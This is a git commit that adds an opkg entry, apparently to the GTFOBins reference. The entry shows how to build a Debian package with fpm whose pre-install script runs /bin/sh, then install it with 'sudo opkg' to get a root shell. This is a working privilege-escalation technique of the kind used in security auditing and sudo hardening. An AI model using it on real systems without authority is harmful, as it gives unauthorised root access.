master
0x0D 2022-03-26 19:59:27 +01:00 committed by GitHub
parent b18f5f82b0
commit 3d0d4a76d9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 0 deletions

13
_gtfobins/opkg.md Normal file
View File

@ -0,0 +1,13 @@
---
functions:
sudo:
- description: |
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
```
code: |
sudo opkg install x_1.0_all.deb
---